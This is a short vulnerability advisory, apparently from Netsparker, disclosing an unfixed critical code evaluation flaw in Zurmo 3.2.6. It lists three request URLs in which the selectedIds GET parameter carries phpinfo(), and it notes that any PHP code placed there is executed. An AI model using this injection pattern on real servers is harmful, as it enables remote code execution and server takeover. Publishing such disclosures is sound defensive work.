Code Evaluation Vulnerability in Zurmo 3.2.6 Information -------------------- Advisory by Netsparker Name: Code Evaluation Vulnerability in Zurmo Affected Software: Zurmo Affected Versions: 3.2.6 Homepage: http://zurmo.org Vulnerability: Code Evaluation Severity: Critical Status: Not Fixed Netsparker Advisory Reference: NS-19-007 Technical Details -------------------- URL: http://{DOMAIN}/zurmo/app/index.php/leads/default/?_=1557483150787&ajax=list-view&Contact_page=&Contact_sort=&selectedIds=phpinfo() Parameter Name : selectedIds Parameter Type: GET Attack Pattern: phpinfo() URL: http://{DOMAIN}/zurmo/app/index.php/opportunities/?_=1557483204319&ajax=list-view&Opportunity_page=&Opportunity_sort=&selectedIds=phpinfo() Parameter Name : selectedIds Parameter Type: GET Attack Pattern: phpinfo() URL: http://{DOMAIN}/zurmo/app/index.php/opportunities/default/?_=1557483206340&ajax=list-view&Opportunity_page=&Opportunity_sort=&selectedIds=phpinfo() Parameter Name : selectedIds Parameter Type: GET Attack Pattern: phpinfo() Proof-of-Concept -------------------- Navigate to any of the URLs above and you'll see the phpinfo appear on the page. Changing the selectedIds parameter to any php code will reflect the expected output from the code on the page. Advisory Timeline -------------------- 17th May 2019 - First Attempted Contact 24th July 2019 - Advisory Released Credits & Authors -------------------- These issues have been discovered by Umran Yildirimkaya while testing the Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker web application security scanner finds and reports security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities.